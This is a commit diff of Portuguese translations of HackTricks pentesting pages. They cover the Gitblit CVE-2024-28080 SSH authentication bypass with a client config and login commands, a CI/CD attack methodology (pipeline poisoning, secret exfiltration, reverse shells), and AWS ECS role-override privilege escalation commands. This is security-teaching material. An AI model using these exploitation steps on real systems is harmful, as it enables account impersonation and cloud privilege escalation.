mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-06 04:41:21 -08:00
Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/
This commit is contained in:
Translator
@@ -1,10 +1,10 @@
|
||||
# Segurança do Gitblit
|
||||
# Gitblit Segurança
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é o Gitblit
|
||||
|
||||
Gitblit é um servidor Git auto-hospedado escrito em Java. Pode ser executado como um JAR standalone ou em containers de servlet e inclui um serviço SSH embutido (Apache MINA SSHD) para Git over SSH.
|
||||
Gitblit é um servidor Git auto‑hospedado escrito em Java. Pode ser executado como um JAR standalone ou em contêineres de servlet e fornece um serviço SSH embutido (Apache MINA SSHD) para Git sobre SSH.
|
||||
|
||||
## Tópicos
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Resumo
|
||||
|
||||
CVE-2024-28080 é um bypass de autenticação no serviço SSH embutido do Gitblit devido ao tratamento incorreto do estado da sessão ao integrar com Apache MINA SSHD. Se uma conta de usuário tiver pelo menos uma chave pública SSH registrada, um atacante que conheça o username e qualquer uma das public keys desse usuário pode autenticar sem a private key e sem a password.
|
||||
CVE-2024-28080 é um bypass de autenticação no serviço SSH embutido do Gitblit devido ao manuseio incorreto do estado da sessão ao integrar com Apache MINA SSHD. Se uma conta de usuário tiver pelo menos uma chave pública SSH registrada, um atacante que conhece o nome de usuário e qualquer uma das chaves públicas desse usuário pode se autenticar sem a chave privada e sem a senha.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
@@ -13,27 +13,27 @@ CVE-2024-28080 é um bypass de autenticação no serviço SSH embutido do Gitbli
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Causa raiz (state leaks between SSH methods)
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
No RFC 4252, a autenticação por public‑key ocorre em duas fases: o servidor primeiro verifica se uma public key fornecida é aceitável para um username, e somente após um challenge/response com uma signature é que autentica o usuário. Em MINA SSHD, o PublickeyAuthenticator é invocado duas vezes: na aceitação da key (ainda sem signature) e mais tarde depois que o cliente retorna uma signature.
|
||||
No RFC 4252, a autenticação por chave‑pública procede em duas fases: o servidor primeiro verifica se uma chave pública fornecida é aceitável para um nome de usuário, e somente após um challenge/response com uma assinatura é que autentica o usuário. No MINA SSHD, o PublickeyAuthenticator é invocado duas vezes: na aceitação da chave (ainda sem assinatura) e mais tarde, depois que o cliente retorna uma assinatura.
|
||||
|
||||
O PublickeyAuthenticator do Gitblit mutou o contexto da sessão na primeira chamada pré‑signature ao vincular o UserModel autenticado à sessão e retornar true ("key acceptable"). Quando a autenticação mais tarde caía para password, o PasswordAuthenticator confiava naquele estado de sessão mutado e atalhava o fluxo, retornando true sem validar a password. Como resultado, qualquer password (incluindo vazia) era aceita após uma "acceptance" prévia por public‑key para o mesmo usuário.
|
||||
O PublickeyAuthenticator do Gitblit mutou o contexto da sessão na primeira chamada pré‑assinatura ao vincular o UserModel autenticado à sessão e retornar true ("key acceptable"). Quando a autenticação depois recorria à senha, o PasswordAuthenticator confiava naquele estado de sessão mutado e encurtava o fluxo, retornando true sem validar a senha. Como resultado, qualquer senha (incluindo vazia) era aceita após uma aceitação prévia por chave pública para o mesmo usuário.
|
||||
|
||||
High‑level flawed flow:
|
||||
Fluxo com falha em alto nível:
|
||||
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
1) Cliente oferece username + public key (ainda sem assinatura)
|
||||
2) Servidor reconhece a chave como pertencente ao usuário e prematuramente associa o usuário à sessão, retornando true ("acceptable")
|
||||
3) Cliente não consegue assinar (sem private key), então a autenticação recorre à senha
|
||||
4) A autenticação por senha vê um usuário já presente na sessão e retorna sucesso incondicionalmente
|
||||
|
||||
## Exploração passo a passo
|
||||
|
||||
- Colete o username da vítima e uma das suas public keys:
|
||||
- Colete o username da vítima e uma de suas public keys:
|
||||
- GitHub expõe public keys em https://github.com/<username>.keys
|
||||
- Servidores públicos frequentemente expõem authorized_keys
|
||||
- Configure o OpenSSH para apresentar apenas a metade pública para que a geração da signature falhe, forçando o fallback para password enquanto ainda dispara o caminho de aceitação por public‑key no servidor.
|
||||
- Configure o OpenSSH para apresentar apenas a metade pública para que a geração da signature falhe, forçando o fallback para password enquanto ainda aciona o caminho de aceitação por public‑key no servidor.
|
||||
|
||||
Exemplo SSH client config (no private key available):
|
||||
Exemplo de configuração do cliente SSH (no private key disponível):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
@@ -44,58 +44,58 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Conecte-se e pressione Enter no password prompt (ou digite qualquer string):
|
||||
Conecte-se e pressione Enter no prompt de senha (ou digite qualquer string):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
A autenticação tem sucesso porque a fase anterior de public‑key mutou a sessão para um usuário autenticado, e a autenticação por password confia incorretamente nesse estado.
|
||||
A autenticação ocorre com sucesso porque a fase anterior de public‑key alterou a sessão para um usuário autenticado, e o password auth confia incorretamente nesse estado.
|
||||
|
||||
Nota: Se o ControlMaster multiplexing estiver habilitado na sua configuração SSH, comandos Git subsequentes podem reutilizar a conexão autenticada, aumentando o impacto.
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Impact
|
||||
## Impacto
|
||||
|
||||
- Impersonação total de qualquer usuário do Gitblit com pelo menos uma SSH public key registrada
|
||||
- Acesso de leitura/escrita aos repositórios conforme as permissões da vítima (exfiltração de código, pushes não autorizados, supply‑chain risks)
|
||||
- Impacto administrativo potencial se o alvo for um usuário admin
|
||||
- Exploração puramente de rede; no brute force ou private key requerido
|
||||
- Impersonar completamente qualquer Gitblit user com pelo menos uma SSH public key registrada
|
||||
- Acesso de leitura/escrita aos repositórios conforme as permissões da vítima (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Impacto administrativo potencial se o alvo for um admin user
|
||||
- Exploração puramente de rede; sem brute force ou private key necessários
|
||||
|
||||
## Detection ideas
|
||||
## Detecção
|
||||
|
||||
- Revise os logs do SSH procurando sequências onde uma tentativa de publickey é seguida por uma autenticação por password bem‑sucedida com uma password vazia ou muito curta
|
||||
- Procure por fluxos: método publickey oferecendo material de key não suportado/descasado seguido por sucesso imediato de password para o mesmo username
|
||||
- Revise os SSH logs por sequências onde uma tentativa publickey é seguida por uma autenticação password bem‑sucedida com uma senha vazia ou muito curta
|
||||
- Procure fluxos: método publickey oferecendo material de chave não suportado/incompatível seguido por sucesso imediato do password para o mesmo username
|
||||
|
||||
## Mitigations
|
||||
## Mitigações
|
||||
|
||||
- Atualize para Gitblit v1.10.0+
|
||||
- Até a atualização:
|
||||
- Desative Git over SSH no Gitblit, ou
|
||||
- Restrinja o acesso de rede ao serviço SSH, e
|
||||
- Monitore por padrões suspeitos descritos acima
|
||||
- Rotacione as credenciais dos usuários afetados se houver suspeita de comprometimento
|
||||
- Altere as credenciais dos usuários afetados se houver suspeita de comprometimento
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## Geral: abusando do SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: Se o public‑key authenticator de um servidor muta o estado do usuário/sessão durante a fase pré‑assinatura "key acceptable" e outros authenticators (ex.: password) confiam nesse estado, você pode contornar a autenticação ao:
|
||||
Padrão: Se o public‑key authenticator de um servidor muta o estado do usuário/sessão durante a fase pré‑assinatura "key acceptable" e outros authenticators (e.g., password) confiam nesse estado, você pode contornar a autenticação por:
|
||||
|
||||
- Apresentar uma public key legítima para o usuário alvo (sem private key)
|
||||
- Forçar o client a falhar na assinatura para que o servidor recorra ao password
|
||||
- Fornecer qualquer password enquanto o password authenticator short‑circuits em leaked state
|
||||
- Forçar o cliente a falhar ao assinar para que o servidor caia de volta para password
|
||||
- Fornecer qualquer password enquanto o password authenticator ignora a verificação devido ao leaked state
|
||||
|
||||
Dicas práticas:
|
||||
|
||||
- Coleta de public keys em escala: obtenha public keys de fontes comuns como https://github.com/<username>.keys, diretórios organizacionais, páginas de equipe, leaked authorized_keys
|
||||
- Forçar falha de assinatura (client‑side): aponte IdentityFile somente para o .pub, defina IdentitiesOnly yes, mantenha PreferredAuthentications para incluir publickey e depois password
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forçar falha de assinatura (lado cliente): aponte IdentityFile somente para o .pub, defina IdentitiesOnly yes, mantenha PreferredAuthentications incluindo publickey then password
|
||||
- Armadilhas de integração do MINA SSHD:
|
||||
- PublickeyAuthenticator.authenticate(...) não deve anexar o estado de usuário/sessão até que o caminho de verificação pós‑assinatura confirme a assinatura
|
||||
- PasswordAuthenticator.authenticate(...) não deve inferir sucesso a partir de qualquer estado mutado durante um método de autenticação anterior incompleto
|
||||
- PublickeyAuthenticator.authenticate(...) não deve anexar estado do usuário/sessão até que o caminho de verificação pós‑assinatura confirme a assinatura
|
||||
- PasswordAuthenticator.authenticate(...) não deve inferir sucesso a partir de qualquer estado mutado durante um método de autenticação prévio incompleto
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
Notas e literatura relacionadas ao protocolo/design:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
- Discussões históricas sobre early acceptance oracles e auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Metodologia de Pentesting CI/CD
|
||||
# Pentesting CI/CD Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,93 +6,93 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS significa **Version Control System**, estes sistemas permitem que desenvolvedores **gerenciem seu código fonte**. O mais comum é **git** e normalmente você encontrará empresas usando-o em uma das seguintes **platforms**:
|
||||
VCS significa **Sistema de Controle de Versão**, esses sistemas permitem aos desenvolvedores **gerenciar seu código-fonte**. O mais comum é **git** e normalmente você encontrará empresas usando-o em uma das seguintes **plataformas**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- Fornecedores de cloud (eles oferecem suas próprias plataformas VCS)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines permitem que desenvolvedores **automatizem a execução de código** para diversos fins, incluindo build, testes e deploy de aplicações. Esses fluxos automatizados são **disparados por ações específicas**, como code pushes, pull requests, ou tarefas agendadas. Eles são úteis para otimizar o processo do desenvolvimento até a produção.
|
||||
As pipelines CI/CD permitem que desenvolvedores **automatizem a execução de código** para vários fins, incluindo build, testes e deploy de aplicações. Esses fluxos de trabalho automatizados são **acionados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento até a produção.
|
||||
|
||||
No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy do código ou acesso a informações sensíveis**.
|
||||
No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de código ou acesso a informações sensíveis**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Mesmo que algumas VCS platforms permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código fonte.
|
||||
> Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código-fonte.
|
||||
|
||||
Plataformas que contêm o código fonte do seu projeto guardam informações sensíveis e é preciso ter muito cuidado com as permissões concedidas nessa plataforma. A seguir alguns problemas comuns em VCS platforms que um atacante pode abusar:
|
||||
Plataformas que contêm o código-fonte do seu projeto guardam informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns nas plataformas VCS que um atacante poderia abusar:
|
||||
|
||||
- **Leaks**: Se seu código contém leaks nos commits e o atacante consegue acessar o repo (porque é público ou porque ele tem acesso), ele pode descobrir os leaks.
|
||||
- **Access**: Se um atacante consegue **acessar uma conta dentro da VCS platform** ele pode obter **mais visibilidade e permissões**.
|
||||
- **Register**: Algumas plataformas permitem simplesmente que usuários externos criem uma conta.
|
||||
- **SSO**: Algumas plataformas não permitem registro, mas permitem que qualquer um acesse com um SSO válido (por exemplo, um atacante poderia usar sua conta do github para entrar).
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: Se um atacante puder **acessar uma conta dentro da plataforma VCS** ele poderia obter **mais visibilidade e permissões**.
|
||||
- **Register**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta.
|
||||
- **SSO**: Algumas plataformas não permitem registros, mas permitem que qualquer pessoa acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... existem vários tipos de tokens que um usuário pode roubar para acessar de alguma forma um repo.
|
||||
- **Webhooks**: VCS platforms permitem gerar webhooks. Se não estiverem **protegidos** com segredos não-visíveis, um **atacante poderia abusar deles**.
|
||||
- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma terceira.
|
||||
- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo.
|
||||
- **Code compromise:** Se um ator malicioso tem algum tipo de **write** sobre os repos, ele poderia tentar **injetar código malicioso**. Para ter sucesso pode ser necessário **bypass branch protections**. Essas ações podem ser realizadas com diferentes objetivos:
|
||||
- Comprometer a main branch para **comprometer a produção**.
|
||||
- Comprometer a main (ou outras branches) para **comprometer máquinas de desenvolvedores** (pois eles geralmente executam testes, terraform ou outras coisas dentro do repo em suas máquinas).
|
||||
- **Compromise the pipeline** (veja a próxima seção)
|
||||
- **Webhooks**: Plataformas VCS permitem gerar webhooks. Se não estiverem **protegidos** com segredos não visíveis, um **atacante pode abusar deles**.
|
||||
- Se não houver segredo em vigor, o atacante poderia abusar do webhook da plataforma terceira
|
||||
- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo
|
||||
- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita aos repos**, ele poderia tentar **injetar código malicioso**. Para ter sucesso, pode precisar **bypassar branch protections**. Essas ações podem ser realizadas com diferentes objetivos:
|
||||
- Comprometer a branch principal para **comprometer a produção**.
|
||||
- Comprometer a branch principal (ou outras branches) para **comprometer máquinas dos desenvolvedores** (já que eles costumam executar testes, terraform ou outras coisas do repo em suas máquinas).
|
||||
- **Comprometer a pipeline** (veja a próxima seção)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
A forma mais comum de definir uma pipeline é usando um **CI configuration file hospedado no repositório** que a pipeline constrói. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e as configurações do ambiente de build.\
|
||||
Esses arquivos tipicamente têm nomes e formatos consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os YAML do GitHub Actions em .github/workflows. Quando disparado, o job da pipeline **puxa o código** da fonte selecionada (ex.: commit / branch) e **executa os comandos especificados no CI configuration file** contra esse código.
|
||||
A maneira mais comum de definir uma pipeline é usando um **arquivo de configuração CI hospedado no repositório** que a pipeline constrói. Esse arquivo descreve a ordem dos jobs executados, condições que afetam o fluxo e configurações do ambiente de build.\
|
||||
Esses arquivos tipicamente têm um nome e formato consistente, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o job da pipeline **puxa o código** da fonte selecionada (por ex. commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código.
|
||||
|
||||
Portanto o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**.
|
||||
Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
A Poisoned Pipeline Execution (PPE) explora permissões em um SCM repository para manipular uma CI pipeline e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar CI configuration files ou outros arquivos usados pelo job da pipeline para incluir comandos maliciosos. Isso "envenena" a CI pipeline, levando à execução desses comandos maliciosos.
|
||||
O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular uma pipeline CI e executar comandos maliciosos. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo job da pipeline para incluir comandos maliciosos. Isso "envenena" a pipeline CI, levando à execução desses comandos maliciosos.
|
||||
|
||||
Para que um ator malicioso tenha sucesso ao realizar um ataque PPE ele precisa ser capaz de:
|
||||
Para que um ator malicioso tenha sucesso realizando um ataque PPE ele precisa ser capaz de:
|
||||
|
||||
- Ter **write access to the VCS platform**, já que geralmente pipelines são disparadas quando um push ou um pull request é realizado. (Veja a VCS pentesting methodology para um resumo de formas de obter acesso).
|
||||
- Note que às vezes um **external PR conta como "write access"**.
|
||||
- Mesmo tendo permissões de escrita, ele precisa ter certeza que pode **modificar o CI config file ou outros arquivos dos quais o config depende**.
|
||||
- Para isso, pode ser necessário ser capaz de **bypass branch protections**.
|
||||
- Ter **acesso de escrita à plataforma VCS**, já que geralmente as pipelines são acionadas quando um push ou pull request é realizado. (Consulte a VCS pentesting methodology para um resumo das formas de obter acesso).
|
||||
- Note que às vezes um **PR externo conta como "acesso de escrita"**.
|
||||
- Mesmo que tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**.
|
||||
- Para isso, pode ser necessário **bypassar branch protections**.
|
||||
|
||||
Existem 3 sabores de PPE:
|
||||
Existem 3 variantes de PPE:
|
||||
|
||||
- **D-PPE**: Um **Direct PPE** ocorre quando o ator **modifica o CI config** file que será executado.
|
||||
- **I-DDE**: Um **Indirect PPE** ocorre quando o ator **modifica** um **file** do qual o CI config que será executado **relys on** (como um make file ou uma terraform config).
|
||||
- **Public PPE or 3PE**: Em alguns casos as pipelines podem ser **disparadas por usuários que não têm write access no repo** (e que podem nem fazer parte da org) porque conseguem enviar um PR.
|
||||
- **3PE Command Injection**: Normalmente, CI/CD pipelines irão **set environment variables** com **informação sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um lugar **perigoso** (por exemplo ao executar **sh commands**), um atacante pode **injetar comandos ali**.
|
||||
- **D-PPE**: Um ataque **Direct PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado.
|
||||
- **I-DDE**: Um ataque **Indirect PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um makefile ou uma configuração terraform).
|
||||
- **Public PPE ou 3PE**: Em alguns casos as pipelines podem ser **acionadas por usuários que não têm acesso de escrita no repo** (e que podem nem fazer parte da org) porque podem enviar um PR.
|
||||
- **3PE Command Injection**: Normalmente, pipelines CI/CD vão **definir variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **local perigoso** (como executar comandos sh), um atacante pode **injetar comandos ali**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Conhecendo os 3 sabores para envenenar uma pipeline, vejamos o que um atacante poderia obter após uma exploração bem-sucedida:
|
||||
Conhecendo as 3 variantes para envenenar uma pipeline, vejamos o que um atacante poderia obter após uma exploração bem-sucedida:
|
||||
|
||||
- **Secrets**: Como mencionado anteriormente, pipelines requerem **privileges** para seus jobs (recuperar o código, build, deploy...) e esses privilégios geralmente são guardados em **secrets**. Esses secrets normalmente ficam acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo de secrets possível.
|
||||
- Dependendo da plataforma da pipeline o atacante **pode precisar especificar os secrets no config**. Isso significa que se o atacante não puder modificar a CI configuration pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que aquela pipeline possui**.
|
||||
- **Computation**: O código é executado em algum lugar; dependendo de onde for executado, o atacante pode ser capaz de pivotar ainda mais.
|
||||
- **On-Premises**: Se as pipelines são executadas on premises, um atacante pode acabar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Cloud**: O atacante pode acessar **outras máquinas na cloud** e também pode **exfiltrar** tokens de IAM roles/service accounts para obter **mais acesso dentro da cloud**.
|
||||
- **Platforms machine**: Às vezes os jobs serão executados nas **máquinas da pipelines platform**, que normalmente estão na cloud sem muito mais acesso.
|
||||
- **Select it:** Às vezes a **pipelines platform terá várias máquinas configuradas** e se você pode **modificar o CI configuration file** pode **indicar onde quer rodar o código malicioso**. Nessa situação, um atacante provavelmente executará um reverse shell em cada máquina possível para tentar explorá-la mais.
|
||||
- **Compromise production**: Se você estiver dentro da pipeline e a versão final for construída e deployada a partir dela, você pode **comprometer o código que vai rodar em produção**.
|
||||
- **Secrets**: Como mencionado anteriormente, pipelines requerem **privilégios** para seus jobs (retrair o código, build, deploy...) e esses privilégios geralmente são **concedidos em secrets**. Esses secrets normalmente são acessíveis via **env variables ou arquivos dentro do sistema**. Portanto um atacante sempre tentará exfiltrar o máximo possível de secrets.
|
||||
- Dependendo da plataforma de pipeline o atacante **pode precisar especificar os secrets na config**. Isso significa que, se o atacante não puder modificar a configuração CI da pipeline (**I-PPE** por exemplo), ele poderia **apenas exfiltrar os secrets que essa pipeline possui**.
|
||||
- **Computation**: O código é executado em algum lugar; dependendo de onde é executado, um atacante pode ser capaz de pivotar mais adiante.
|
||||
- **On-Premises**: Se as pipelines são executadas on-premises, um atacante pode terminar em uma **rede interna com acesso a mais recursos**.
|
||||
- **Cloud**: O atacante poderia acessar **outras máquinas na cloud** mas também poderia **exfiltrar** tokens de IAM roles/service accounts **dela** para obter **acesso adicional dentro da cloud**.
|
||||
- **Platforms machine**: Às vezes os jobs serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão numa cloud sem **acesso adicional**.
|
||||
- **Select it:** Às vezes a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI** você pode **indicar onde quer rodar o código malicioso**. Nessa situação, um atacante provavelmente executará um reverse shell em cada máquina possível para tentar explorá-la mais a fundo.
|
||||
- **Compromise production**: Se você estiver dentro da pipeline e a versão final for buildada e deployada a partir dela, você poderia **comprometer o código que acabará rodando em produção**.
|
||||
|
||||
## Mais informações relevantes
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua cadeia de software para conformidade de segurança baseada em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca no processo completo de SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua cadeia de suprimentos de software quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de deploy.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Confira este artigo interessante sobre os top 10 riscos de CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Confira este artigo interessante sobre os top 10 riscos CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Em cada plataforma que você puder rodar localmente você encontrará como lançá-la localmente para poder configurá-la como quiser e testar.
|
||||
- Em cada plataforma que você puder rodar localmente você encontrará como lançá-la localmente para poder configurá-la como quiser para testar
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Mais **informações sobre ECS** em:
|
||||
Mais **info sobre ECS** em:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Direct privesc to a different ECS role.
|
||||
**Impacto Potencial:** Direct privesc to a different ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Um atacante que possui permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
|
||||
Um atacante que tem permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova task do ECS com **execution role**, **task role** e o **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os valores `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
|
||||
|
||||
As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir serem assumidas por `ecs-tasks.amazonaws.com` em sua trust policy.
|
||||
As IAM roles especificadas em `taskRoleArn` e `executionRoleArn` devem confiar/permitir ser assumidas por `ecs-tasks.amazonaws.com` na sua trust policy.
|
||||
|
||||
Além disso, o atacante precisa saber:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Se nenhum security group for especificado o padrão será usado)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
- Nome do cluster ECS
|
||||
- Sub-rede da VPC
|
||||
- Grupo de segurança (Se nenhum grupo de segurança for especificado, o padrão será usado)
|
||||
- Nome e revisão da Task Definition
|
||||
- Nome do Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
No trecho de código acima, um atacante sobrescreve apenas o valor `taskRoleArn`. No entanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque ocorra.
|
||||
No trecho de código acima um atacante sobrescreve apenas o valor de `taskRoleArn`. No entanto, o atacante precisa da permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque aconteça.
|
||||
|
||||
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
|
||||
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impacto Potencial:** Direct privesc to any ECS task role.
|
||||
**Impacto Potencial:** Privesc direto para qualquer ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
